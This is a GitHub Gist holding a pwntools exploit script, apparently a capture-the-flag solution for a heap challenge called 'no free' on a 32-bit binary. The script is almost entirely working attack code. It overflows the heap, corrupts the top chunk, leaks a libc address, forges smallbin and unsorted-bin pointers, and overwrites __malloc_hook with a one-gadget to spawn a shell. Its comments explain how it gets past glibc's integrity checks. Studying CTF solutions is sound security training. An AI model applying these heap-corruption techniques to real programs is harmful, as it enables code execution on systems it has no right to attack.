Last active
August 10, 2020 06:27
-
-
Save d4em0n/c13aeca352f18a86e9aa16647d550441 to your computer and use it in GitHub Desktop.
Hacktoday: no free exploit script
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# NOTE: libc offset might be different, i'm using my local libc instead of | |
# challenge libc | |
context.terminal = "tmux splitw -h -f".split() | |
p = process("./chall") | |
def goto(n): | |
p.sendlineafter("#>", str(n)) | |
return | |
def edit_user(user): | |
goto(5) | |
p.sendafter("username: ", user) | |
return | |
def create(sz, name, content): | |
goto(1) | |
p.sendlineafter(": ", str(sz)) | |
p.sendlineafter(": ", name) | |
p.sendafter(": ", content) | |
return | |
def edit(idx, name, content): | |
goto(3) | |
p.sendlineafter(": ", str(idx)) | |
p.sendafter(": ", name) | |
p.sendafter(": ", content) | |
return | |
def view(idx): | |
goto(2) | |
p.sendlineafter(": ", str(idx)) | |
p.recvuntil("Name: ") | |
name = p.recvuntil("\n──────────", drop=True) | |
p.recvuntil("Content:\n") | |
content = p.recvuntil("\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━", drop=True) | |
return name, content | |
def feedback(size, fd): | |
goto(6) | |
p.sendlineafter(": ", str(size)) | |
p.sendafter(": ", fd) | |
user = "AAAA" | |
p.sendafter("username: ", user) | |
create(0xf0, "A"*8, "A"*8) | |
# craft fake chunk and set fwd pointer to 0x804b0a8-8 (bk) for bypassing check | |
# if ((victim = last (bin)) != bin) | |
# { | |
# if (victim == 0) /* initialization check */ | |
# malloc_consolidate (av); | |
# else | |
# { | |
# bck = victim->bk; | |
# if (__glibc_unlikely (bck->fd != victim)) | |
# { | |
# errstr = "malloc(): smallbin double linked list corrupted"; | |
# goto errout; | |
# } | |
create(0xf0, "A"*8, b"B"*8+p32(0x804b0a8-8)) | |
# overflow the heap and overwrite top size with small value for trigerring | |
# int_free in sysmalloc | |
create(-1, b"C"*264+p32(0xc99), "C"*8) | |
# trigerring int_free in sysmalloc | |
# assert ((old_top == initial_top (av) && old_size == 0) || | |
# ((unsigned long) (old_size) >= MINSIZE && | |
# prev_inuse (old_top) && | |
# ((unsigned long) old_end & (pagesize - 1)) == 0)); | |
# assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); | |
feedback(4096, "AA") | |
create(0x0, "", "B"*8) # input name with 0 length, to get leak main_arena address | |
# calculate offset | |
leak = u32(view(3)[0][:4]) | |
libc_base = leak - 1772208 | |
malloc_hook = libc_base+1771368 | |
top_in_main_arena = libc_base+1771440 | |
print(hex(libc_base)) | |
# just some padding | |
feedback(3000, "B"*200) | |
# heap overflow and trigerring unsorted bin attack, using this we can write | |
# address of main_arena at list[0] (0x804b0a0) | |
create(-1, b"C"*0x108+p32(0x111)+p32(top_in_main_arena)+p32(0x804b0a0-8), "C"*0x107) | |
pause() | |
pay_main_arena = p32(0) # last remainder | |
pay_main_arena += p32(top_in_main_arena)*2 # fix unsorted bin bk and fd with old value from main arena | |
pay_main_arena += p32(top_in_main_arena+8) # fwd pointer for smallbin[0] | |
pay_main_arena += p32(0x804b0a8-8) # set bk pointer to target chunk | |
edit(0, pay_main_arena, p32(malloc_hook-4)) # overwrite target chunk with malloc_hook-4 | |
edit(1, p32(libc_base+0x3a2e1), "\n") # one gadget | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
binary: https://drive.google.com/file/d/167Zi-jjSbfwiw-jsZW5N7Lwq3cTZJgE_/view